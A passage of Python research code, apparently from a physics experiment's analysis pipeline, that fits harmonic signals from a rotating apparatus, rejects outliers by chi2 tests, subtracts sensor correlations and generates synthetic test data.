#How many steps to get to a pi change in the signal\r\n nptString= round(2*abs(div)+1) #Use this to calculate the number of string points to use\r\n\r\n #Throw away outliers, without considering correlations\r\n if x.ndim>1:\r\n pterr=nanstd(x, axis=-1)\r\n pts=nanmean(x, axis=-1)\r\n else:\r\n pts=x\r\n badMask=isnan(pts)\r\n while 1:\r\n inv_variance=1./pterr**2\r\n inv_variance_sum=nansum(inv_variance[~badMask])\r\n sampleMean=nansum(pts[~badMask]*inv_variance[~badMask])/inv_variance_sum\r\n zsq=(pts-sampleMean)**2*inv_variance/inv_variance_sum\r\n zsq[badMask]=nan\r\n biggestDev=nanmax(zsq)\r\n if biggestDev>20 and 0:\r\n I=nanargmax(zsq)\r\n badMask[I]=True\r\n if sum(badMask)>5:\r\n badMask[:]=True\r\n vprint(\"Unrecoverable seq (too many points deviate)\")\r\n break\r\n else:\r\n break\r\n x[badMask]=nan \r\n \r\n #result = [[ nan, nan ]], [[ nan, nan ]], [[[ nan, nan ],[ nan,nan ]]], [[ nan, nan ]]\r\n minNumPts=2*nptString+1\r\n if nptString==3:\r\n st, stErr = stringSimple3pt(x, err)\r\n seq1, seqErr1, seqChi21= MT.fancy_column_stats(st, stErr, cf=3, chi2Max=chi2Filter, Nmin=5)\r\n result = array([[theta0, nan]]), array([seq1]), array([seqErr1]), array([seqChi21])\r\n elif nptString==5:\r\n st, stErr= stringSimple5pt(x, err, rotDir=sign(dtheta))\r\n seq1, seqErr1, seqChi21= MT.fancy_column_stats(st[:,0], stErr[:,0], cf=5, chi2Max=chi2Filter, Nmin=5)\r\n seq2, seqErr2, seqChi22= MT.fancy_column_stats(st[:,1], stErr[:,1], cf=5, chi2Max=chi2Filter, Nmin=5)\r\n result = array([[theta0, theta0-dtheta], [theta0, nan+theta0+abs(dtheta)/2]]), array([seq1, seq2]), array([seqErr1, seqErr2]), array([seqChi21, seqChi22])\r\n vprint(\"th:{}, seq2:{}\".format(theta0%(2*pi), seq2))\r\n else:\r\n print(\"nptString is {0}\".format(nptString))\r\n\r\n\r\n # CHI2 ELIMINATION\r\n ## While the set of string points doesn't fit a chi2 model, we eliminate the largest deviating points\r\n\r\n if 0:\r\n while 1:\r\n inv_variance=1./stErr**2; # Variance from individual error bars\r\n inv_variance_sum=nansum(inv_variance)\r\n ampFinal=nansum(st*inv_variance)/inv_variance_sum\r\n\r\n N=sum(~isnan(st))\r\n cf=3.*((N-1)/N)**2# 'Correlation factor': Used to be 2.54. This stuff is (ftm) worked out emprically\r\n degOfF=N/cf \r\n devSq=(st-ampFinal)**2*inv_variance\r\n chi2=nansum(devSq)/degOfF; #: = var(st)/varfromerrorbars Needs checking too.\r\n if chi2>chi2Filter:\r\n I=nanargmax(devSq)#/nanvar(st)\r\n #I=nanargmax(dev)\r\n st[I]=nan\r\n stErr[I]=nan\r\n if sum(~isnan(st))<minNumPts: #if we have too few points left\r\n vprint(\"too many bad string points (by chi2 limit) \"),\r\n st[:]=nan\r\n stErr[:]=nan\r\n ampFinal=nan\r\n break;\r\n else:\r\n break\r\n\r\n #Decide if there were too many points thrown out:\r\n N=sum(~isnan(st))\r\n if N < minNumPts and 1: #If there's less than a few independent string points remaining, we'll give up\r\n #vprint(\"Unrecoverable sequence\")\r\n return [(theta0, nan)], [(nan, nan)], [[[nan,nan],[nan,nan]]], [(nan, nan)]\r\n #adjDegOfF=stats.chi2.ppf(.5, N -2.549); #Adjusted degrees of freedom for calculating chi2\r\n cf=3.*((N-1)/N)**2# Used to be 2.54. This stuff is (atm) worked out emprically\r\n degOfF=N/cf \r\n chi2=nansum(((st-ampFinal)**2)*inv_variance)/degOfF; #: = var(st)/varfromerrorbars Needs checking too.\r\n\r\n errFinal=sqrt(nansum((st-ampFinal)**2*inv_variance/inv_variance_sum)/degOfF*sqrt(2))#/sqrt(1-stats.chi2.cdf(chi2, degOfF));\r\n\r\n #Assemble the results\r\n result= array([[nan, nan]]), array([[nan, nan]]), array([[[nan, nan], [nan, nan]]]), array([[nan, nan]])\r\n\r\n #result[0][0]=[theta0,nan]\r\n #result[1][0]=[ampFinal,nan]\r\n #result[2][0]=[[[errFinal,nan],[nan,nan]]]\r\n #result[3][0]=[[chi2,nan]]\r\n\r\n\r\n #return [(theta0, nan)], [(ampFinal, nan)], [[[errFinal,nan],[nan,nan]]], [(chi2, nan)]\r\n\r\n\r\n\r\n\r\n else:\r\n print(\"abs(rem)!<0.2 for dtheta = {0}, H = {1}. Can't do string analysis on these\".format(dtheta, H))\r\n #This should probably raise an exception\r\n\r\n result[0][0]=[nan,nan]\r\n result[1][0]=[nan,nan]\r\n result[2][0]=[[[nan,nan],[nan,nan]]]\r\n result[3][0]=[[nan,nan]]\r\n break;\r\n return result\r\n \r\ndef renameFieldMaybe(recArray, oldName, newName):\r\n names=list(recArray.dtype.names)\r\n try:\r\n I=names.index(oldName)\r\n names[I]=newName\r\n recArray.dtype.names=names\r\n except ValueError:\r\n pass;\r\n return recArray\r\n\r\ndef addFakeData(rawAmp, apparatusAngles=None,trigs=None, rotationRate=None, amp=1., sigma=0., phi=0, amp2=0, phi2=0, zeroingTime=100, fracDev=0, sizeDev=0.1, fastAddF=None, bBlankOriginalData=False):\r\n \"\"\" Add fake signal/noise to an existing signal\r\n\r\n \"\"\"\r\n sd=rawAmp.t\r\n sig=rawAmp.sig.copy()\r\n if bBlankOriginalData:\r\n sig*=0\r\n\r\n if apparatusAngles is not None:\r\n theta= 2*pi*sd +phi+ apparatusAngles[:,:,newaxis] # Angle of the apparatus with respect to the cosmo \r\n # Now to cut the data into 'sequences'\r\n #seqStartTimes=arange(0,totTime, secs2sd(rSpec.delay + rSpec.interval*rSpec.numRotations + zeroingTime))+startTime\r\n\r\n\r\n #thPtsL=[theta[inds] for inds in indxL.flat]\r\n #apparatusAngles=getAnglesFromRSpec(rSpec, numReps=len(pretrigs))/180.*pi\r\n #theta=hstack(array(thPtsL) +apparatusAngles.ravel()[:len(thPtsL)])\r\n #flat_ind=indxL.ravel() #OR something else??\r\n\r\n elif rotationRate is not None:\r\n theta= 2*pi*sd + phi + 2*pi*rotationRate*sd2secs(sd)\r\n else:\r\n raise ValueError(\"Need to include either apparatusAngles or rotationRate\")\r\n\r\n fast_noiseF=lambda t: random.normal(size=t.size, scale=sigma) if sigma>0 else 0\r\n\r\n sig+= amp*sin(theta) + amp2*sin(2*theta+phi2) #add base signal\r\n\r\n #Random outlier additions:\r\n sig+= where(rand(*sig.shape)>fracDev, 0, sizeDev)\r\n #hstack([zeros(inds.shape) if rand()>fracDev else sizeDev*ones(inds.shape) for inds in indxL.flat ])\r\n\r\n #Uniform noise\r\n #sd=hstack(tPtsL)\r\n sig+= fast_noiseF(sd)\r\n \r\n #Repetitive noise\r\n if fastAddF is not None:\r\n addN=hstack([fastAddF(sd2secs(tPts-tPts[0])) for tPts in tPtsL ])\r\n sig+=addN\r\n #sig[ind]+=fastAddF(sd[ind]-sd[ind[0]])\r\n\r\n if bTest:\r\n figure('TestAddFakeData')\r\n ax=subplot(311)\r\n plot(sd, sig,',')\r\n subplot(312, sharex=ax)\r\n plot(trigs.flatten(), apparatusAngles.flatten(),'-o')\r\n subplot(313)\r\n plot(trigs.flatten(),'o')\r\n\r\n return RawData(sd, sig)#SPDataSet('test', preloadDict={'fastD':[sd, sig, ['sig']]}, rSpec=rSpec)\r\n\r\n #return SPDataSet(fastD=[sd, sig, ['sig']])\r\n\r\n\r\n return cutAmpAdded\r\n\r\ndef makeTestData(rSpec, amp=1., amp2=0.0, sigma=5., N=100000, sampleRate=10, phi=0, phi2=0, zeroingTime=100, fracDev=0, sizeDev=0.1, fastAddF=None, startTime=0):\r\n \"\"\" Make up some data that the experiment _might_ have measured\r\n\r\n Plan: 1. Make a pure signal, and add some noise. 2. Calculate the component that would be measured in each orientation. 3. Add white noise.. \r\n \"\"\"\r\n\r\n S1cosmos=amp*exp(1j*phi)\r\n S2cosmos=amp2*exp(1j*2*phi2)\r\n\r\n totTime=secs2sd(N/sampleRate) #Total time of the set in sidereal days\r\n #zeroingTime=100 #How long to wait between sequences\r\n #phi=pi/3 #Signal phase\r\n sd= linspace(0,totTime, N) + startTime\r\n theta= 2*pi*sd # Angle of the room with respect to the cosmos\r\n fast_noiseF=lambda t: random.normal(size=t.size, scale=sigma)\r\n\r\n \r\n # Now to cut the data into 'sequences'\r\n seqStartTimes=arange(0,totTime, secs2sd(rSpec.delay + rSpec.interval*rSpec.numRotations + zeroingTime))+startTime\r\n\r\n trigs=makeTriggers(sd, rSpec, seqStartTimes=seqStartTimes, bIncludeExtraRot=True);\r\n #theta=theta/180*pi\r\n\r\n pretrigs=trigs[:,0]-secs2sd(rSpec.delay)\r\n startTimes=hstack([pretrigs[:,newaxis],trigs[:,:-1]])\r\n endTimes=trigs\r\n\r\n\r\n #tPtsL,thPtsL,indxL= sliceReduceData(sd, theta, x0=startTimes.ravel(), endTimes=endTimes.ravel(), bJustGiveCuts=True)\r\n #Get the indices divided up according to the triggers\r\n indxL= sliceSorted(sd, t_0=startTimes.ravel(), t_end=endTimes.ravel()) #indices of the points between each rotation\r\n tPtsL=[sd[inds] for inds in indxL.flat]\r\n thPtsL=[theta[inds] for inds in indxL.flat]\r\n\r\n apparatusAngles=getAnglesFromRSpec(rSpec, numReps=len(seqStartTimes+1))/180.*pi\r\n theta=hstack(array(thPtsL) +apparatusAngles.ravel()[:len(thPtsL)]) #angle of apparatus with respect to the cosmos\r\n \r\n sig=real(S1cosmos*exp(-1j*theta) + S2cosmos*exp(-1j*2*theta))\r\n #sig= amp*sin(theta + phi) + amp2*sin(2*theta + phi2)#Base signal\r\n\r\n #Random outlier additions:\r\n sig+=hstack([zeros(inds.shape) if rand()>fracDev else sizeDev*ones(inds.shape) for inds in indxL.flat ])\r\n\r\n #Uniform noise\r\n sd=hstack(tPtsL)\r\n sig+= fast_noiseF(sd)\r\n \r\n #Repetitive noise\r\n if fastAddF is not None:\r\n addN=hstack([fastAddF(sd2secs(tPts-tPts[0])) for tPts in tPtsL ])\r\n sig+=addN\r\n #sig[ind]+=fastAddF(sd[ind]-sd[ind[0]])\r\n\r\n if bTest:\r\n figure('TestMakeTestData')\r\n ax=subplot(311)\r\n plot(sd, sig,',')\r\n subplot(312, sharex=ax)\r\n plot(trigs.flatten(), apparatusAngles.flatten(),'-o')\r\n subplot(313)\r\n plot(trigs.flatten(),'o')\r\n\r\n return sd, sig#SPDataSet('test', preloadDict={'fastD':[sd, sig, ['sig']]}, rSpec=rSpec)\r\n #return SPDataSet(fastD=[sd, sig, ['sig']])\r\n\r\ndef group_by_axis(thetaIn):\r\n theta=thetaIn[~isnan(thetaIn)]\r\n absC=cos(theta)**2\r\n absS=sin(theta)**2\r\n sQ=mean(absS)\r\n cQ=mean(absC)\r\n #if any(theta%(2*pi)\r\n if any( abs(theta%(pi) -pi/2) <0.05 ) and abs(0.5-sQ <0.05) and abs(0.5 -cQ) <0.05: # If we have a near-uniform sampling of angles...\r\n thetaRef=0;\r\n\r\n else: # Otherwise we'll try to pick a good angle (This is not perfect by any means)\r\n thetaRef=arctan2(sQ, cQ);\r\n print(\"Data doesn't seem to be purely NS->EW. Setting main angle as {0} deg\".format(thetaRef/pi*180))\r\n #pdb.set_trace()\r\n absC=abs(cos(thetaIn-thetaRef))\r\n absS=abs(sin(thetaIn-thetaRef))\r\n\r\n xI=where(absC>0.99)[0] # Points \r\n yI=where(absS>0.99)[0] # P\r\n if len(yI)<4:\r\n vprint(\"Not enough data points for orthogonal quadrature. Set yI =[]\")\r\n yI=[]\r\n if MT.nearby_angles(thetaRef, pi/2, 0.1):\r\n xI,yI=yI,xI\r\n thetaRef=0\r\n return thetaRef, xI, yI\r\n\r\n\r\n\r\ndef rotate_sequence_amps(seqAmp, rotateTo=0):\r\n \"\"\"\r\n >>> N=100\r\n >>> th=linspace(0,20,N)%(2*pi)\r\n >>> sa= CorrelationData(linspace(0,1,N), sin(2*th), ones(N))\r\n\r\n \"\"\"\r\n rotAmp=deepcopy(seqAmp)\r\n for h in range(rotAmp.sig.shape[1]):\r\n #newThetas, newSig, newErr=zip(*[th, s, er for th, s, er in zip(sig.theta[:,h], sig.sig[:,h], sig.err[:,h])])\r\n zipped=zip(seqAmp.theta[:,h], seqAmp.sig[:,h], seqAmp.err[:,h]) \r\n rotAmp.theta[:,h], rotAmp.sig[:,h], rotAmp.err[:,h]=zip(*[MT.rotate_quadrature_sample(th*(h+1), s, er,\r\n rotateTo=rotateTo, debug=True) if not all(isnan(s)) else (th, s, er) for (th, s, er) in zipped])\r\n rotAmp.theta[:,h]/=(h+1)\r\n return rotAmp\r\n\r\ndef process_sequences_multifit(sig, sigSensL, sigSensVaryPhaseIs=[], subtractHarmsL=[], minFreq=None, maxFreq=None, bPlot=False, harmonic=1):\r\n \"\"\" \r\n \"\"\"\r\n h=harmonic-1\r\n varyPhaseIndL=[]\r\n #sig=CorrelationData(*[c[:,h::h+1] for c in s]) for s in sig]\r\n #sigSensL=[CorrelationData(*[c[:,h:] for c in s]) for s in sigSensL]\r\n t=sig.t[:,h,0]\r\n #_, sig1h, cov1h=MT.rotate_quadrature_sample(sig.theta[:,0,0], sig.sig[:,0], sig.err[:,0])\r\n thetaRef, xI, yI=group_by_axis(sig.theta[:,0]) \r\n\r\n vprint(\"Main angle (for sidereal fit): {0}\".format(thetaRef))\r\n sigRot=rotate_sequence_amps(sig, rotateTo=0)\r\n \r\n sigSensL=[rotate_sequence_amps(sigSens, rotateTo=thetaRef) for sigSens in\r\n sigSensL]\r\n yL=[sigSens.sig[:,h] for sigSens in sigSensL]\r\n if sigSensVaryPhaseIs:\r\n varyPhaseIndL.extend(sigSensVaryPhaseIs)\r\n print(\"Allowing phase for sensors at {0} to vary\".format(sigSensVaryPhaseIs))\r\n\r\n gdQuads=[]\r\n for k,th, s in zip(arange(sigRot.theta.shape[2]), sigRot.theta[:,h,:].T, sigRot.sig[:,h,:].T):\r\n notNan=th[~isnan(s)]\r\n if notNan.size:\r\n gdQuads.append(k)\r\n if not all(MT.nearby_angles(notNan, notNan.min(), 0.1)):\r\n vprint(\"Not all angles the same: maybe they're orthogonal?\")\r\n\r\n #yL.append(vstack([sin(2*pi*t+sig.theta[:,0]), cos(2*pi*t + sig.theta[:,0])]).T)\r\n #Lab frame signal\r\n dc=ones(t.size, dtype='f8')\r\n yL.append(vstack([dc, dc*0]).T)\r\n varyPhaseIndL.append(len(yL)-1)\r\n # Sidereal\r\n refThetas=sigRot.theta.copy()\r\n if len(gdQuads)==1:\r\n if 0 in gdQuads:\r\n refThetas[:,h,1]=refThetas[:,h,0]+pi/2/harmonic\r\n else:\r\n refThetas[:,h,0]=refThetas[:,h,1]-pi/2/harmonic\r\n\r\n yL.append(1*cos(2*harmonic*pi*t[:,newaxis]+harmonic*refThetas[:,h]))\r\n varyPhaseIndL.append(len(yL)-1)\r\n\r\n #Add the 3rd harmonic ot the list(if it's there), and let it vary phase\r\n for harm in subtractHarmsL:\r\n if sigRot.sig.shape[1]>=harm:\r\n #_, sigH, covH=MT.rotate_quadrature_sample(sig.theta, sig.sig[:,h-1], sig.err[:,h-1])\r\n yL.append(sigRot.sig[:,harm-1])\r\n varyPhaseIndL.append(len(yL)-1)\r\n else:\r\n print(\"{}th harmonic doesn't exist, can't subtract it\")\r\n\r\n #nanIs=isnan(sigRot.sig[:,0])\r\n sig2fit=sig\r\n fitparams, cov, adjchi2, res_obj=MF.orthogonal_multifit(t, sigRot.sig[:,h], yL,varyPhaseIndL, var=sigRot.err[:,h], minFreq=minFreq, maxFreq=maxFreq, bPlot=bPlot, bReturnFitObj=True)\r\n Nsensors=len(sigSensL)\r\n\r\n sensCoeffs=array(fitparams[:Nsensors])\r\n labCoeffs=array(fitparams[Nsensors:Nsensors+2])#-thetaRef\r\n labCov=cov[Nsensors:Nsensors+2, Nsensors:Nsensors+2]\r\n sidCoeffs=array(fitparams[Nsensors+2:Nsensors+4])#-thetaRef\r\n sidCov=cov[Nsensors+2:Nsensors+4, Nsensors+2:Nsensors+4]\r\n sidAmp=SiderealFitData(t=nanmean(t), sig=sidCoeffs, err=sidCov, \r\n chi2=adjchi2, \r\n labTheta=array([0,pi/2]),#0*nanmean(-sigRot.theta[:,0], axis=0) ,\r\n sidTheta=None,\r\n meta=None)\r\n labAmp=LabSetData(t=nanmean(t), sig=labCoeffs, err=labCov, chi2=None, labTheta=array([0.,pi/2]))\r\n #print(\"subtract fit params: {0}\".format(res_obj.params))\r\n\r\n\r\n # Convert data types down here\r\n #sigSubtracted=sig._replace(sig=(sig.sig.ravel()-sensCoeffs*array(sigSensL)).reshape(sig.sig.shape))\r\n\r\n return labAmp, sidAmp, None, res_obj\r\n\r\ndef subtract_correlations(sig, sigSensL, dontSubtract=[], scaleFact=None, minFreq=0.00005, maxFreq=None, bPlot=False):\r\n \"\"\" \r\n \"\"\"\r\n # Interpolate sigSensor to be the same as sig (if necessary))\r\n\r\n sigSensL=[interp(sig.t.ravel(), sigSens.t.ravel(), sigSens.sig.ravel()) for sigSens in sigSensL]\r\n\r\n sigSig=MT.naninterp(sig.sig.ravel())\r\n sigSensL=[MT.naninterp(sigSens) for sigSens in sigSensL]\r\n\r\n if minFreq is not None or maxFreq is not None: #Filter\r\n fs=1/median(diff(MT.nonnan(sig.t.ravel())))/(3600*24)\r\n if minFreq is not None and maxFreq is not None:\r\n sigFilt=MF.butter_bandpass_filter(sigSig, [minFreq, maxFreq], fs)\r\n sigSensL=[MF.butter_bandpass_filter(sigSens, [minFreq, maxFreq], fs) for sigSens in sigSensL]\r\n elif maxFreq is not None:\r\n sigFilt=MF.butter_lowpass_filter(sigSig, maxFreq, fs)\r\n sigSensL=[MF.butter_lowpass_filter(sigSens, maxFreq, fs) for sigSens in sigSensL]\r\n elif minFreq is not None:\r\n sigFilt=MF.butter_highpass_filter(sigSig, minFreq, fs)\r\n sigSensL=[MF.butter_highpass_filter(sigSens, minFreq, fs) for sigSens in sigSensL]\r\n else:\r\n sigFilt=sigSig\r\n #sigSensL=sigSensL\r\n\r\n # if @scaleFact is None, try to do a least-squares fit (or maybe something else in the longer-term)\r\n if scaleFact is None:\r\n t=MT.naninterp(sig.t.ravel())\r\n if hasattr(sig,'theta'):\r\n theta=sig.theta\r\n elif hasattr(sig, 'labTheta'):\r\n theta=sig.labTheta\r\n else:\r\n theta=None\r\n if theta is not None:\r\n theta=MT.naninterp(theta)\r\n dontSubtractD={ #Make these lambda functions so we won't evaluate them unless necessary\r\n 'lab_sinusoid': lambda: array((sin(theta), cos(theta))),\r\n 'sid_sinusoid': lambda: array((sin(2*pi*t+theta), cos(2*pi*t+theta)))\r\n }\r\n exog=array(sigSensL).T\r\n for st in dontSubtract: #Elements should either be functions (of t) or strings \r\n arr=dontSubtractD[st]()\r\n exog=hstack([exog,arr.T])\r\n endog=sigFilt\r\n exog=sm.add_constant(exog,prepend=False)\r\n model=sm.WLS(endog, exog, missing='drop') #(?)\r\n res=model.fit()\r\n scaleFact=array(res.params[:len(sigSensL)])\r\n print(\"subtract fit params: {0}\".format(res.params))\r\n\r\n\r\n sigSubtracted=sig._replace(sig=(sig.sig.ravel()-scaleFact*array(sigSensL)).reshape(sig.sig.shape))\r\n\r\n if bPlot or 1:\r\n figure()\r\n plot(t, sigFilt, '.')\r\n plot(t, exog, '.')\r\n plot(t, (scaleFact*array(sigSensL)).T)\r\n return sigSubtracted\r\n\r\ndef preprocess_raw(rawAmp, trigTimes, sigWindow):\r\n #vprint(\"using {0}\".format(sigWindow))\r\n indxL= sliceSorted(rawAmp.t, t_0=trigTimes + secs2sd(sigWindow.offset), delta_t=secs2sd(sigWindow.duration)) #indices of the points between each rotation\r\n #Now we 'regularize' it, making sure there's the same number of points in each slice (needed to make things faster later)\r\n NptsL=[ind.size for ind in indxL.ravel() if ind.size>1] #2 pts may be the minimum we can work with?\r\n\r\n minPtsI=argmin(NptsL)\r\n maxPts=max(NptsL)\r\n k=0;\r\n while NptsL[minPtsI]< 0.9*maxPts:\r\n vprint(\"A cut was too short: {0} vs {1}\".format(NptsL[minPtsI], maxPts)) \r\n NptsL.pop(minPtsI)\r\n minPtsI=argmin(NptsL)\r\n k+=1;\r\n if k>=20:\r\n print(\"Too mny short cuts. There's probably a segment of bad data\")\r\n #raise ValueError(\"Too mny short cuts. There's probably a segment of bad data\")\r\n minPts=NptsL[minPtsI]\r\n \r\n\r\n indxLReg=array([ind[:minPts] if ind.size>=minPts else -1*ones(minPts,dtype='i8') for ind in indxL.ravel()])\r\n \r\n indxLReg=indxLReg.reshape(indxL.shape[0], indxL.shape[1], minPts)\r\n\r\n rawAmpOut=RawData(t= rawAmp.t[indxLReg], sig=rawAmp.sig[indxLReg])\r\n rawAmpOut.sig[indxLReg==-1]=nan\r\n rawAmpOut.t[indxLReg==-1]=nan\r\n return rawAmpOut\r\n \r\ndef process_raw(rawAmp):\r\n def window_mean(arr, axis=0):\r\n win=windows.kaiser(arr.shape[axis], 10)\r\n win/=win.sum()\r\n #This isn't right\r\n return sum(arr*win[newaxis,newaxis,:],axis=axis)\r\n \r\n funcs_on_cutsL=[np.mean, lambda vals, **kwargs: np.std(vals, **kwargs)/sqrt(np.size(vals))]\r\n T=rawAmp.t.mean(axis=-1)\r\n Y=window_mean(rawAmp.sig, axis=-1) \r\n Err=np.std(rawAmp.sig,axis=-1)\r\n #Y, Err= processedL[0:]\r\n\r\n #rawSig=array([y[ind[:minPts]] if ind.size>=minPts else zeros(minPts)*nan for ind in indxL.ravel()])\r\n #rawSig=rawSig.reshape(indxL.shape[0], indxL.shape[1], minPts)\r\n #rawSigF=fft(rawSig)\r\n return PointData(t=T, sig=Y, err=Err,chi2=None,theta=None)\r\n\r\ndef process_points(ptLabAngle, pointAmp, cutAmp, stPtChi2Lim=50):\r\n \"\"\" Turn groups of points into sequences- except currently we go directly from a a group of 'cuts' (i.e. the cut-out raw data) to one value for each sequences.\r\n \"\"\"\r\n vprint(\"chi2 limit on string points: {}\".format(stPtChi2Lim))\r\n pointAmp=None\r\n ptT=mean(cutAmp.t, axis=-1)\r\n ptErr=std(cutAmp.sig, axis=-1)\r\n if ptLabAngle.shape[0] > cutAmp.sig.shape[0]:\r\n if ptLabAngle.shape[0]==cutAmp.sig.shape[0]+1:\r\n ptLabAngle=ptLabAngle[:-1]\r\n else:\r\n raise ValueError(\"angles shouldn't be more than 1 sequence bigger than the dataset (can happen if only part of a sequence is included). But here, ptLabAngle.shape[0] is {0} and cutAmp.shape[0] is {1}\".format(ptLabAngle.shape[0], cutAmp.sig.shape[0]))\r\n \r\n # Process each group of sequences\r\n outL=zip(*[mgStringHarmonics(th, seq, None, chi2Filter=inf) for th,seq, err in zip(ptLabAngle, cutAmp.sig, ptErr)])\r\n if stPtChi2Lim is not inf:\r\n #origSigA=array(outL[1])\r\n chi2temp=nanmean(array(outL[3]), axis =-1).squeeze()\r\n smoothedChi2=MT.running_nanmedian(chi2temp, 100)\r\n outL=zip(*[mgStringHarmonics(th, seq, None, chi2Filter=stPtChi2Lim*smChi2) for th,seq, err, smChi2 in zip(ptLabAngle, cutAmp.sig, ptErr, smoothedChi2)])\r\n labAngle, seqSig, seqErr, seqChi2 = [array(p) for p in outL] #Array-ify the results\r\n\r\n #Old stuff for doing harmonicsFit\r\n #th0s,h1,cov1=zip(*[getHarmonicsFit(th, seq, err) for th,seq, err in zip(theta[:-1], ptSig, ptErr )])\r\n #h1=array(h1)\r\n #cov1=array(cov1)\r\n #covAs=cov1[:,0].squeeze()\r\n #th0s=array(th0s)\r\n #chi2=None \r\n\r\n seqT=nanmean(ptT, axis=1)\r\n seqT=seqT[:,newaxis, newaxis]*ones(seqSig.shape) #make T's the same shape as the rest\r\n return CorrelationData(t=seqT, sig=seqSig, err=seqErr, chi2=seqChi2, theta=labAngle)\r\n\r\ndef filterBySensors(cutAmp, sensDataL=[], bView=True):\r\n #bView=True\r\n if not sensDataL:\r\n vprint(\"No sensor filtering\")\r\n return cutAmp\r\n\r\n Npts=cutAmp.sig.size/(cutAmp.sig.shape[-1])\r\n badM=zeros(Npts, dtype=bool) #Mask for 'bad' data\r\n if bView:\r\n fig, axL=subplots(len(sensDataL)+1, 1, sharex=True)\r\n #vprint(\"Filtering out bad points using sensors {0}\".format(sensorNameL))\r\n for k, sD in enumerate(sensDataL):\r\n #sDTs, [_, sDCutSig, sDCutErr], sDCutIndxL = sliceReduceData( sD[0], sD[1], trigTimes + secs2sd(sigWindow.offset), secs2sd(sigWindow.duration) ) \r\n badSDM, xSM=MT.findOutliers(sD.sig.ravel(), windowLen=70, sigmas=3, bReturnMeanLine=True)\r\n badM= badM | badSDM\r\n\r\n if bView:\r\n axL[k+1].plot(sD.t.ravel(), sD.sig.ravel(),'.')\r\n axL[k+1].plot(sD.t.ravel()[badSDM], sD.sig.ravel()[badSDM],'o')\r\n #axL[k+1].plot(sDTs.ravel()[badSDM], sDCutSig.ravel()[badSDM],'o')\r\n if bView:\r\n sigA=cutAmp.sig.mean(axis=-1)\r\n axL[0].plot(sD.t.ravel(), sigA.ravel(),'.')\r\n axL[0].plot(sD.t.ravel()[badM], sigA.ravel()[badM],'.') \r\n\r\n\r\n \r\n filtCutAmp=cutAmp._replace(sig=cutAmp.sig.copy())\r\n filtCutAmp.sig.reshape(-1,filtCutAmp.sig.shape[-1])[badM]=nan\r\n return filtCutAmp\r\n#def process_sequences(sT, sSig, sErr, sLabAngles):\r\ndef process_sequences(corrAmp):\r\n '''Process sequence values, sSig, into final numbers\r\n '''\r\n sT,sSig, sErr, sChi2, sLabAngles=[s[:,0,:] for s in corrAmp]\r\n if sSig.size==0:\r\n return None\r\n #sErr*sqrt(sChi2)\r\n #winI=20\r\n #chi2=nanmedian(corrAmp.chi2[I]*(corrAmp.Neff[I]./stats.chi2.ppf(0.5, corrAmp.Neff)), axis=0) \r\n #chisq1=nanmedian(v1(w,3,:).*(v1(w,4,:)./chi2inv(.5,v1(w,4,:))),1);\r\n #v1(j,2,:)=v1(j,2,:).*sqrt(chisq1);\r\n \r\n if not iterable(sLabAngles) or len(sLabAngles)==1 or unwrap(sLabAngles%pi).sum()<pi:#(maaaaaybeee)\r\n vprint(\"no lab angles given for sequence data in 'process_sequences'. Doing something dodgy that probably isn't right to make up for it\")\r\n if sSig:\r\n \r\n labSig= average(sSig, weights=sErr**2)\r\n else:\r\n labSig=[];labErr=[];labAngles=[]\r\n labAmp=LabSetData(t=mean(sT), sig=labSig, err=None, chi2=None, labTheta=squeeze(labAngles))\r\n else:\r\n if sErr.ndim>2:\r\n sErr=vstack([sErr[:,0,0], sErr[:,1,1]]).T\r\n [labAngles, labSignal, labErr, labChi2]=zip(*getHarmonicsFit(sLabAngles, sSig, sErr))[0] #This returns two angles, and we'll limit ourselves to the first harmonic\r\n labAmp=LabSetData(t=mean(sT)*ones(len(labAngles)),\r\n sig=array(labSignal), \r\n err=sqrt(diag(labErr)),\r\n chi2=labChi2,\r\n labTheta=array(labAngles))\r\n #labAmp=[array(labAmpTemp[0]), array(labAmpTemp[1]), sqrt(diag(labAmpTemp[2]))]\r\n ######SIDEREAL-FRAME FITTING##########\r\n #LV0=zip(*getHarmonicsFit(sT*2*pi, sSig, sErr))[0] #First harmonic only\r\n if sLabAngles is None:\r\n print(\"Not checked if it works when you don't give lab angles for sequences... we'll presume all measuremetns are taken in the same lab-orientation, but beware!\")\r\n [sidAngles, sidSignal, sidErr, sidChi2]=zip(*getHarmonicsFit(sT*2*pi, sSig, sErr))[0]\r\n else:\r\n [sidAngles, sidSignal, sidErr, sidChi2]=zip(*getHarmonicsFit(sT*2*pi + sLabAngles, sSig, sErr))[0]\r\n\r\n sidFitDat=SiderealFitData(t=mean(sT)*ones(len(labAngles)),\r\n #sig=array(sidSignal), err=sqrt(diag(sidErr)),\r\n sig=array(sidSignal), err=sidErr,\r\n labTheta=array(sidAngles), chi2=sidChi2, sidTheta=None, meta=None)\r\n #Repeat this for lab angles, and other sideral angles\r\n #sidAmp=[array(sidAmpTemp[0]), array(sidAmpTemp[1]), sqrt(diag(sidAmpTemp[2]))]\r\n return labAmp, sidFitDat\r\n\r\ndef process_continuous_raw(sigRaw, phaseRef, rotationRate, bPlot=False, th0FGz=2.87):\r\n #split up data\r\n\r\n #iterate through data\r\n #if phaseRef is a rawSig tuple (e.g. flux-gate), then fit it\r\n #else we'll assume it's time-theta pairs, in which case we'll also just interpolate \r\n\r\n #Fit the raw signal to a sin/cos pair plus some polynomial terms\r\n tOffs=sigRaw.t[0]\r\n #K=3600*24\r\n tSplit, sSplit = MT.splitAtGaps(sd2secs(sigRaw.t-tOffs), sigRaw.sig)\r\n tMedSplit, fgSplit = MT.splitAtGaps(sd2secs(phaseRef.t-tOffs), phaseRef.sig)\r\n gdInds=[~isnan(s) for s in sSplit]\r\n tSplit=[t[gdI] for t, gdI in zip(tSplit, gdInds)]\r\n sSplit=[s[gdI] for s, gdI in zip(sSplit, gdInds)]\r\n #plot(sig.t, MT.smooth(sig.sig,500, window='hanning'))\r\n\r\n fp4L=[]\r\n err4L=[]\r\n chi2L=[]\r\n tL=[]\r\n fgFitL=[]\r\n phaseL=[]\r\n thL=[]\r\n k=0\r\n for t, s, tfg, sfg in zip(tSplit, sSplit, tMedSplit, fgSplit):\r\n if t.size<2:\r\n continue\r\n midT=t[t.size/2]\r\n cutOffSecs=0\r\n t-=midT\r\n I=t.searchsorted(t[-1]-cutOffSecs)\r\n t=t[:I]\r\n s=s[:I]\r\n\r\n tfg-=midT\r\n I=tfg.searchsorted(tfg[-1]-cutOffSecs)\r\n tfg=tfg[:I]\r\n sfg=sfg[:I]\r\n\r\n try:\r\n p0=[ rotationRate, 0.03262361, 0.03052155, 5.41955202]\r\n 